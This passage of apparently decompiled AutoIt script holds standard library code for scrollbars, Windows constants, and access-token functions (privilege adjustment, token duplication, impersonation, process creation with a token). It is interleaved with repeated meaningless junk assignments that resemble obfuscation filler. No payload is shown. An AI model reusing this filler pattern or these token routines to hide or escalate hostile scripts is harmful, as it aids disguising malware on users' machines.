Then Return SetError(@error, @extended, -1) Return DllStructGetData($tscrollinfo, "nTrackPos") EndFunc Func _guiscrollbars_getscrollpos($hwnd, $ibar) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $aresult = DllCall("user32.dll", "int", "GetScrollPos", "hwnd", $hwnd, "int", $ibar) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _guiscrollbars_getscrollrange($hwnd, $ibar) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $aresult = DllCall("user32.dll", "bool", "GetScrollRange", "hwnd", $hwnd, "int", $ibar, "int*", 0, "int*", 0) If @error Then Return SetError(@error, @extended, -1) Local $amin_max[2] $amin_max[0] = $aresult[3] $amin_max[1] = $aresult[4] Return SetExtended($aresult[0], $amin_max) EndFunc Func _guiscrollbars_init($hwnd, $imaxh = -1, $imaxv = -1) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, 0) If $__g_asb_windowinfo[0][0] <> 0 Then ReDim $__g_asb_windowinfo[UBound($__g_asb_windowinfo) + 1][8] Local $tscrollinfo = DllStructCreate($tagscrollinfo) Local $trect = DllStructCreate($tagrect) Local $iindex = UBound($__g_asb_windowinfo) - 1 Local $ierror, $iextended $__g_asb_windowinfo[$iindex][0] = $hwnd $__g_asb_windowinfo[$iindex][1] = $imaxh $__g_asb_windowinfo[$iindex][6] = $imaxh $__g_asb_windowinfo[$iindex][7] = $imaxv If $imaxv = -1 Then $__g_asb_windowinfo[$iindex][7] = 27 Local $hdc = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended) $hdc = $hdc[0] Local $ttextmetric = DllStructCreate($tagtextmetric) DllStructSetData($tscrollinfo, "cbSize", DllStructGetSize($tscrollinfo)) DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric) If @error Then $ierror = @error $iextended = @extended EndIf DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc) If $ierror Then Return SetError($ierror, $iextended) Local $iupperx, $ixamount = DllStructGetData($ttextmetric, "tmAveCharWidth") If BitAND(DllStructGetData($ttextmetric, "tmPitchAndFamily"), 1) Then $iupperx = 3 * $ixamount / 2 Else $iupperx = 2 * $ixamount / 2 EndIf Local $iyamount = DllStructGetData($ttextmetric, "tmHeight") + DllStructGetData($ttextmetric, "tmExternalLeading") If $imaxh = -1 Then $__g_asb_windowinfo[$iindex][1] = 48 * $ixamount + 12 * $iupperx $__g_asb_windowinfo[$iindex][2] = $ixamount $__g_asb_windowinfo[$iindex][3] = $iyamount _guiscrollbars_showscrollbar($hwnd, $sb_horz, False) _guiscrollbars_showscrollbar($hwnd, $sb_vert, False) _guiscrollbars_showscrollbar($hwnd, $sb_horz) _guiscrollbars_showscrollbar($hwnd, $sb_vert) DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect) If @error Then Return SetError(@error, @extended) Local $iclientx = DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") Local $iclienty = DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") $__g_asb_windowinfo[$iindex][4] = $iclientx $__g_asb_windowinfo[$iindex][5] = $iclienty $tscrollinfo = DllStructCreate($tagscrollinfo) DllStructSetData($tscrollinfo, "fMask", BitOR($sif_range, $sif_page)) DllStructSetData($tscrollinfo, "nMin", 0) DllStructSetData($tscrollinfo, "nMax", $__g_asb_windowinfo[$iindex][7]) DllStructSetData($tscrollinfo, "nPage", $iclienty / $iyamount) _guiscrollbars_setscrollinfo($hwnd, $sb_vert, $tscrollinfo) DllStructSetData($tscrollinfo, "fMask", BitOR($sif_range, $sif_page)) DllStructSetData($tscrollinfo, "nMin", 0) DllStructSetData($tscrollinfo, "nMax", 2 + $__g_asb_windowinfo[$iindex][1] / $ixamount) DllStructSetData($tscrollinfo, "nPage", $iclientx / $ixamount) _guiscrollbars_setscrollinfo($hwnd, $sb_horz, $tscrollinfo) EndFunc Func _guiscrollbars_scrollwindow($hwnd, $ixamount, $iyamount) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, False) Local $aresult = DllCall("user32.dll", "bool", "ScrollWindow", "hwnd", $hwnd, "int", $ixamount, "int", $iyamount, "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _guiscrollbars_setscrollinfo($hwnd, $ibar, $tscrollinfo, $bredraw = True) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) DllStructSetData($tscrollinfo, "cbSize", DllStructGetSize($tscrollinfo)) Local $aresult = DllCall("user32.dll", "int", "SetScrollInfo", "hwnd", $hwnd, "int", $ibar, "struct*", $tscrollinfo, "bool", $bredraw) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _guiscrollbars_setscrollinfomin($hwnd, $ibar, $imin) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, False) Local $arange = _guiscrollbars_getscrollrange($hwnd, $ibar) _guiscrollbars_setscrollrange($hwnd, $ibar, $imin, $arange[1]) Local $arange_check = _guiscrollbars_getscrollrange($hwnd, $ibar) If $arange[1] <> $arange_check[1] OR $imin <> $arange_check[0] Then _guiscrollbars_setscrollrange($hwnd, $ibar, $arange[0], $arange[1]) Return False EndIf Return True EndFunc Func _guiscrollbars_setscrollinfomax($hwnd, $ibar, $imax) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, False) Local $arange = _guiscrollbars_getscrollrange($hwnd, $ibar) _guiscrollbars_setscrollrange($hwnd, $ibar, $arange[0], $imax) Local $arange_check = _guiscrollbars_getscrollrange($hwnd, $ibar) If $arange[0] <> $arange_check[0] OR $imax <> $arange_check[1] Then _guiscrollbars_setscrollrange($hwnd, $ibar, $arange[0], $arange[1]) Return False EndIf Return True EndFunc Func _guiscrollbars_setscrollinfopage($hwnd, $ibar, $ipage) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $tscrollinfo = DllStructCreate($tagscrollinfo) DllStructSetData($tscrollinfo, "fMask", $sif_page) DllStructSetData($tscrollinfo, "nPage", $ipage) Return _guiscrollbars_setscrollinfo($hwnd, $ibar, $tscrollinfo) EndFunc Func _guiscrollbars_setscrollinfopos($hwnd, $ibar, $ipos) Local $iindex = -1, $iyamount, $ixamount For $x = 0 To UBound($__g_asb_windowinfo) - 1 If $__g_asb_windowinfo[$x][0] = $hwnd Then $iindex = $x $ixamount = $__g_asb_windowinfo[$iindex][2] $iyamount = $__g_asb_windowinfo[$iindex][3] ExitLoop EndIf Next If $iindex = -1 Then Return 0 Local $tscrollinfo = _guiscrollbars_getscrollinfoex($hwnd, $ibar) Local $iposxy = DllStructGetData($tscrollinfo, "nPos") DllStructSetData($tscrollinfo, "fMask", $sif_pos) DllStructSetData($tscrollinfo, "nPos", $ipos) _guiscrollbars_setscrollinfo($hwnd, $ibar, $tscrollinfo) _guiscrollbars_getscrollinfo($hwnd, $ibar, $tscrollinfo) $ipos = DllStructGetData($tscrollinfo, "nPos") If $ibar = $sb_horz Then If ($ipos <> $iposxy) Then _guiscrollbars_scrollwindow($hwnd, $ixamount * ($iposxy - $ipos), 0) Else If ($ipos <> $iposxy) Then _guiscrollbars_scrollwindow($hwnd, 0, $iyamount * ($iposxy - $ipos)) EndIf EndFunc Func _guiscrollbars_setscrollrange($hwnd, $ibar, $iminpos, $imaxpos) Local $aresult = DllCall("user32.dll", "bool", "SetScrollRange", "hwnd", $hwnd, "int", $ibar, "int", $iminpos, "int", $imaxpos, "bool", True) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _guiscrollbars_showscrollbar($hwnd, $ibar, $bshow = True) Local $aresult = DllCall("user32.dll", "bool", "ShowScrollBar", "hwnd", $hwnd, "int", $ibar, "bool", $bshow) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 Global Const $gmem_fixed = 0 Global Const $gmem_moveable = 2 Global Const $gmem_nocompact = 16 Global Const $gmem_nodiscard = 32 Global Const $gmem_zeroinit = 64 Global Const $gmem_modify = 128 Global Const $gmem_discardable = 256 Global Const $gmem_not_banked = 4096 Global Const $gmem_share = 8192 Global Const $gmem_ddeshare = 8192 Global Const $gmem_notify = 16384 Global Const $gmem_lower = 4096 Global Const $gmem_valid_flags = 32626 Global Const $gmem_invalid_handle = 32768 Global Const $gptr = BitOR($gmem_fixed, $gmem_zeroinit) Global Const $ghnd = BitOR($gmem_moveable, $gmem_zeroinit) Global Const $mem_commit = 4096 Global Const $mem_reserve = 8192 Global Const $mem_top_down = 1048576 Global Const $mem_shared = 134217728 Global Const $page_noaccess = 1 Global Const $page_readonly = 2 Global Const $page_readwrite = 4 Global Const $page_execute = 16 Global Const $page_execute_read = 32 Global Const $page_execute_readwrite = 64 Global Const $page_execute_writecopy = 128 Global Const $page_guard = 256 Global Const $page_nocache = 512 Global Const $page_writecombine = 1024 Global Const $page_writecopy = 8 Global Const $mem_decommit = 16384 Global Const $mem_release = 32768 Global Const $mb_ok = 0 Global Const $mb_okcancel = 1 Global Const $mb_abortretryignore = 2 Global Const $mb_yesnocancel = 3 Global Const $mb_yesno = 4 Global Const $mb_retrycancel = 5 Global Const $mb_canceltrycontinue = 6 Global Const $mb_help = 16384 Global Const $mb_iconstop = 16 Global Const $mb_iconerror = 16 Global Const $mb_iconhand = 16 Global Const $mb_iconquestion = 32 Global Const $mb_iconexclamation = 48 Global Const $mb_iconwarning = 48 Global Const $mb_iconinformation = 64 Global Const $mb_iconasterisk = 64 Global Const $mb_usericon = 128 Global Const $mb_defbutton1 = 0 Global Const $mb_defbutton2 = 256 Global Const $mb_defbutton3 = 512 Global Const $mb_defbutton4 = 768 Global Const $mb_applmodal = 0 Global Const $mb_systemmodal = 4096 Global Const $mb_taskmodal = 8192 Global Const $mb_default_desktop_only = 131072 Global Const $mb_right = 524288 Global Const $mb_rtlreading = 1048576 Global Const $mb_setforeground = 65536 Global Const $mb_topmost = 262144 Global Const $mb_service_notification = 2097152 Global Const $mb_rightjustified = $mb_right Global Const $idtimeout = -1 Global Const $idok = 1 Global Const $idcancel = 2 Global Const $idabort = 3 Global Const $idretry = 4 Global Const $idignore = 5 Global Const $idyes = 6 Global Const $idno = 7 Global Const $idclose = 8 Global Const $idhelp = 9 Global Const $idtryagain = 10 Global Const $idcontinue = 11 Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege" Global Const $se_audit_name = "SeAuditPrivilege" Global Const $se_backup_name = "SeBackupPrivilege" Global Const $se_change_notify_name = "SeChangeNotifyPrivilege" Global Const $se_create_global_name = "SeCreateGlobalPrivilege" Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege" Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege" Global Const $se_create_symbolic_link_name = "SeCreateSymbolicLinkPrivilege" Global Const $se_create_token_name = "SeCreateTokenPrivilege" Global Const $se_debug_name = "SeDebugPrivilege" Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege" Global Const $se_impersonate_name = "SeImpersonatePrivilege" Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege" Global Const $se_inc_working_set_name = "SeIncreaseWorkingSetPrivilege" Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege" Global Const $se_load_driver_name = "SeLoadDriverPrivilege" Global Const $se_lock_memory_name = "SeLockMemoryPrivilege" Global Const $se_machine_account_name = "SeMachineAccountPrivilege" Global Const $se_manage_volume_name = "SeManageVolumePrivilege" Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege" Global Const $se_relabel_name = "SeRelabelPrivilege" Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege" Global Const $se_restore_name = "SeRestorePrivilege" Global Const $se_security_name = "SeSecurityPrivilege" Global Const $se_shutdown_name = "SeShutdownPrivilege" Global Const $se_sync_agent_name = "SeSyncAgentPrivilege" Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege" Global Const $se_system_profile_name = "SeSystemProfilePrivilege" Global Const $se_systemtime_name = "SeSystemtimePrivilege" Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege" Global Const $se_tcb_name = "SeTcbPrivilege" Global Const $se_time_zone_name = "SeTimeZonePrivilege" Global Const $se_trusted_credman_access_name = "SeTrustedCredManAccessPrivilege" Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege" Global Const $se_undock_name = "SeUndockPrivilege" Global Const $se_privilege_enabled_by_default = 1 Global Const $se_privilege_enabled = 2 Global Const $se_privilege_removed = 4 Global Const $se_privilege_used_for_access = -2147483648 Global Const $se_group_mandatory = 1 Global Const $se_group_enabled_by_default = 2 Global Const $se_group_enabled = 4 Global Const $se_group_owner = 8 Global Const $se_group_use_for_deny_only = 16 Global Const $se_group_integrity = 32 Global Const $se_group_integrity_enabled = 64 Global Const $se_group_resource = 536870912 Global Const $se_group_logon_id = -1073741824 Global Enum $tokenprimary = 1, $tokenimpersonation Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid Global Const $token_assign_primary = 1 Global Const $token_duplicate = 2 Global Const $token_impersonate = 4 Global Const $token_query = 8 Global Const $token_query_source = 16 Global Const $token_adjust_privileges = 32 Global Const $token_adjust_groups = 64 Global Const $token_adjust_default = 128 Global Const $token_adjust_sessionid = 256 Global Const $token_all_access = 983551 Global Const $token_read = 131080 Global Const $token_write = 131296 Global Const $token_execute = 131072 Global Const $token_has_traverse_privilege = 1 Global Const $token_has_backup_privilege = 2 Global Const $token_has_restore_privilege = 4 Global Const $token_has_admin_group = 8 Global Const $token_is_restricted = 16 Global Const $token_session_not_referenced = 32 Global Const $token_sandbox_inert = 64 Global Const $token_has_impersonate_privilege = 128 Global Const $rights_delete = 65536 Global Const $read_control = 131072 Global Const $write_dac = 262144 Global Const $write_owner = 524288 Global Const $synchronize = 1048576 Global Const $access_system_security = 16777216 Global Const $standard_rights_required = 983040 Global Const $standard_rights_read = $read_control Global Const $standard_rights_write = $read_control Global Const $standard_rights_execute = $read_control Global Const $standard_rights_all = 2031616 Global Const $specific_rights_all = 65535 Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer Global Const $logon_with_profile = 1 Global Const $logon_netcredentials_only = 2 Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel Global Const $sid_administrators = "S-1-5-32-544" Global Const $sid_users = "S-1-5-32-545" Global Const $sid_guests = "S-1-5-32-546" Global Const $sid_account_operators = "S-1-5-32-548" Global Const $sid_server_operators = "S-1-5-32-549" Global Const $sid_print_operators = "S-1-5-32-550" Global Const $sid_backup_operators = "S-1-5-32-551" Global Const $sid_replicator = "S-1-5-32-552" Global Const $sid_owner = "S-1-3-0" Global Const $sid_everyone = "S-1-1-0" Global Const $sid_network = "S-1-5-2" Global Const $sid_interactive = "S-1-5-4" Global Const $sid_system = "S-1-5-18" Global Const $sid_authenticated_users = "S-1-5-11" Global Const $sid_schannel_authentication = "S-1-5-64-14" Global Const $sid_digest_authentication = "S-1-5-64-21" Global Const $sid_nt_service = "S-1-5-80" Global Const $sid_untrusted_mandatory_level = "S-1-16-0" Global Const $sid_low_mandatory_level = "S-1-16-4096" Global Const $sid_medium_mandatory_level = "S-1-16-8192" Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448" Global Const $sid_high_mandatory_level = "S-1-16-12288" Global Const $sid_system_mandatory_level = "S-1-16-16384" Global Const $sid_protected_process_mandatory_level = "S-1-16-20480" Global Const $sid_secure_process_mandatory_level = "S-1-16-28672" Global Const $sid_all_services = "S-1-5-80-0" Func _winapi_getlasterror(Const $_icurrenterror = @error, Const $_icurrentextended = @extended) Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError") Return SetError($_icurrenterror, $_icurrentextended, $aresult[0]) EndFunc Func _winapi_setlasterror($ierrorcode, Const $_icurrenterror = @error, Const $_icurrentextended = @extended) DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrorcode) Return SetError($_icurrenterror, $_icurrentextended, NULL ) EndFunc Func __comerrorformating($ocomerror, $sprefix = @TAB) Local Const $str_striptrailing = 2 Local $serror = "COM Error encountered in " & @ScriptName & " (" & $ocomerror.scriptline & ") :" & @CRLF & $sprefix & "Number " & @TAB & "= 0x" & Hex($ocomerror.number, 8) & " (" & $ocomerror.number & ")" & @CRLF & $sprefix & "WinDescription" & @TAB & "= " & StringStripWS($ocomerror.windescription, $str_striptrailing) & @CRLF & $sprefix & "Description " & @TAB & "= " & StringStripWS($ocomerror.description, $str_striptrailing) & @CRLF & $sprefix & "Source " & @TAB & "= " & $ocomerror.source & @CRLF & $sprefix & "HelpFile " & @TAB & "= " & $ocomerror.helpfile & @CRLF & $sprefix & "HelpContext " & @TAB & "= " & $ocomerror.helpcontext & @CRLF & $sprefix & "LastDllError " & @TAB & "= " & $ocomerror.lastdllerror & @CRLF & $sprefix & "Retcode " & @TAB & "= 0x" & Hex($ocomerror.retcode) Return $serror EndFunc Func _security__adjusttokenprivileges($htoken, $bdisableall, $tnewstate, $ibufferlen, $tprevstate = 0, $prequired = 0) Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $bdisableall, "struct*", $tnewstate, "dword", $ibufferlen, "struct*", $tprevstate, "struct*", $prequired) If @error Then Return SetError(@error, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information) Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, False) Return True EndFunc Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype) Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0) Return $acall[6] EndFunc Func _security__getaccountsid($saccount, $ssystem = "") Local $aacct = _security__lookupaccountname($saccount, $ssystem) If @error Then Return SetError(@error, @extended, 0) If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0]) Return "" EndFunc Func _security__getlengthsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, @extended, 0) Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid) If @error Then Return SetError(@error, @extended, 0) Return $acall[0] EndFunc Func _security__gettokeninformation($htoken, $iclass) Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0) If @error OR NOT $acall[5] Then Return SetError(@error + 10, @extended, 0) Local $ilen = $acall[5] Local $tbuffer = DllStructCreate("byte[" & $ilen & "]") $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0) Return $tbuffer EndFunc Func _security__impersonateself($ilevel = $securityimpersonation) Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel) If @error Then Return SetError(@error, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__isvalidsid($psid) Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid) If @error Then Return SetError(@error, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__lookupaccountname($saccount, $ssystem = "") Local $tdata = DllStructCreate("byte SID[256]") Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0) Local $aacct[3] $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID")) $aacct[1] = $acall[5] $aacct[2] = $acall[7] Return $aacct EndFunc Func _security__lookupaccountsid($vsid, $ssystem = "") Local $psid, $aacct[3] If IsString($vsid) Then $psid = _security__stringsidtosid($vsid) Else $psid = $vsid EndIf If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, @extended, 0) Local $stypesystem = "ptr" If $ssystem Then $stypesystem = "wstr" Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $stypesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0) Local $aacct[3] $aacct[0] = $acall[3] $aacct[1] = $acall[5] $aacct[2] = $acall[7] Return $aacct EndFunc Func _security__lookupprivilegevalue($ssystem, $sname) Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0) Return $acall[3] EndFunc Func _security__openprocesstoken($hprocess, $iaccess) Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0) Return $acall[3] EndFunc Func _security__openthreadtoken($iaccess, $hthread = 0, $bopenasself = False) If $hthread = 0 Then Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread") If @error Then Return SetError(@error + 10, @extended, 0) $hthread = $aresult[0] EndIf Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $bopenasself, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0) Return $acall[4] EndFunc Func _security__openthreadtokenex($iaccess, $hthread = 0, $bopenasself = False) Local $htoken = _security__openthreadtoken($iaccess, $hthread, $bopenasself) If $htoken = 0 Then Local Const $error_no_token = 1008 If _winapi_getlasterror() <> $error_no_token Then Return SetError(20, _winapi_getlasterror(), 0) If NOT _security__impersonateself() Then Return SetError(@error + 10, _winapi_getlasterror(), 0) $htoken = _security__openthreadtoken($iaccess, $hthread, $bopenasself) If $htoken = 0 Then Return SetError(@error, _winapi_getlasterror(), 0) EndIf Return $htoken EndFunc Func _security__setprivilege($htoken, $sprivilege, $benable) Local $iluid = _security__lookupprivilegevalue("", $sprivilege) If $iluid = 0 Then Return SetError(@error + 10, @extended, False) Local Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes" Local $tcurrstate = DllStructCreate($tagtoken_privileges) Local $icurrstate = DllStructGetSize($tcurrstate) Local $tprevstate = DllStructCreate($tagtoken_privileges) Local $iprevstate = DllStructGetSize($tprevstate) Local $trequired = DllStructCreate("int Data") DllStructSetData($tcurrstate, "Count", 1) DllStructSetData($tcurrstate, "LUID", $iluid) If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False) DllStructSetData($tprevstate, "Count", 1) DllStructSetData($tprevstate, "LUID", $iluid) Local $iattributes = DllStructGetData($tprevstate, "Attributes") If $benable Then $iattributes = BitOR($iattributes, $se_privilege_enabled) Else $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled)) EndIf DllStructSetData($tprevstate, "Attributes", $iattributes) If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False) Return True EndFunc Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength) Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, False) Return True EndFunc Func _security__sidtostringsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, 0, "") Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, "") Local $pstringsid = $acall[2] Local $alen = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $pstringsid) Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & $alen[0] + 1 & "]", $pstringsid), "Text") DllCall("kernel32.dll", "handle", "LocalFree", "handle", $pstringsid) Return $ssid EndFunc Func _security__sidtypestr($itype) Switch $itype Case $sidtypeuser Return "User" Case $sidtypegroup Return "Group" Case $sidtypedomain Return "Domain" Case $sidtypealias Return "Alias" Case $sidtypewellknowngroup Return "Well Known Group" Case $sidtypedeletedaccount Return "Deleted Account" Case $sidtypeinvalid Return "Invalid" Case $sidtypeunknown Return "Unknown Type" Case $sidtypecomputer Return "Computer" Case $sidtypelabel Return "A mandatory integrity label SID" Case Else Return "Unknown SID Type" EndSwitch EndFunc Func _security__stringsidtosid($ssid) Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0) If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0) Local $psid = $acall[2] Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid) Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]") DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data")) DllCall("kernel32.dll", "handle", "LocalFree", "handle", $psid) Return $tsid EndFunc $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 Global Const $backup_alternate_data = 4 Global Const $backup_data = 1 Global Const $backup_ea_data = 2 Global Const $backup_link = 5 Global Const $backup_object_id = 7 Global Const $backup_property_data = 6 Global Const $backup_reparse_data = 8 Global Const $backup_security_data = 3 Global Const $backup_sparse_block = 9 Global Const $backup_txfs_data = 10 Global Const $copy_file_allow_decrypted_destination = 8 Global Const $copy_file_copy_symlink = 2048 Global Const $copy_file_fail_if_exists = 1 Global Const $copy_file_no_buffering = 4096 Global Const $copy_file_open_source_for_write = 4 Global Const $copy_file_restartable = 2 Global Const $move_file_copy_allowed = 2 Global Const $move_file_create_hardlink = 16 Global Const $move_file_delay_until_reboot = 4 Global Const $move_file_fail_if_not_trackable = 32 Global Const $move_file_replace_existing = 1 Global Const $move_file_write_through = 8 Global Const $progress_continue = 0 Global Const $progress_cancel = 1 Global Const $progress_stop = 2 Global Const $progress_quiet = 3 Global Const $file_append_data = 4 Global Const $file_delete_child = 64 Global Const $file_execute = 32 Global Const $file_read_attributes = 128 Global Const $file_read_data = 1 Global Const $file_read_ea = 8 Global Const $file_write_attributes = 256 Global Const $file_write_data = 2 Global Const $file_write_ea = 16 Global Const $file_add_file = $file_write_data Global Const $file_add_subdirectory = $file_append_data Global Const $file_create_pipe_instance = $file_append_data Global Const $file_list_directory = $file_read_data Global Const $file_traverse = $file_execute Global Const $file_all_access = 2032127 Global Const $file_flag_backup_semantics = 33554432 Global Const $file_flag_delete_on_close = 67108864 Global Const $file_flag_no_buffering = 536870912 Global Const $file_flag_open_no_recall = 1048576 Global Const $file_flag_open_reparse_point = 2097152 Global Const $file_flag_overlapped = 1073741824 Global Const $file_flag_posix_semantics = 1048576 Global Const $file_flag_random_access = 268435456 Global Const $file_flag_sequential_scan = 134217728 Global Const $file_flag_write_through = -2147483648 Global Const $security_anonymous = 0 Global Const $security_context_tracking = 262144 Global Const $security_delegation = 196608 Global Const $security_effective_only = 524288 Global Const $security_identification = 65536 Global Const $security_impersonation = 131072 Global Const $sec_commit = 134217728 Global Const $sec_image = 16777216 Global Const $sec_large_pages = -2147483648 Global Const $sec_nocache = 268435456 Global Const $sec_reserve = 67108864 Global Const $sec_writecombine = 1073741824 Global Const $section_extend_size = 16 Global Const $section_map_execute = 8 Global Const $section_map_read = 4 Global Const $section_map_write = 2 Global Const $section_query = 1 Global Const $section_all_access = 2031647 Global Const $file_map_copy = 1 Global Const $file_map_execute = 32 Global Const $file_map_read = 4 Global Const $file_map_write = 2 Global Const $file_map_all_access = $section_all_access Global Const $ddd_exact_match_on_remove = 4 Global Const $ddd_no_broadcast_system = 8 Global Const $ddd_raw_target_path = 1 Global Const $ddd_remove_definition = 2 Global Const $fsctl_allow_extended_dasd_io = 589955 Global Const $fsctl_create_or_get_object_id = 590016 Global Const 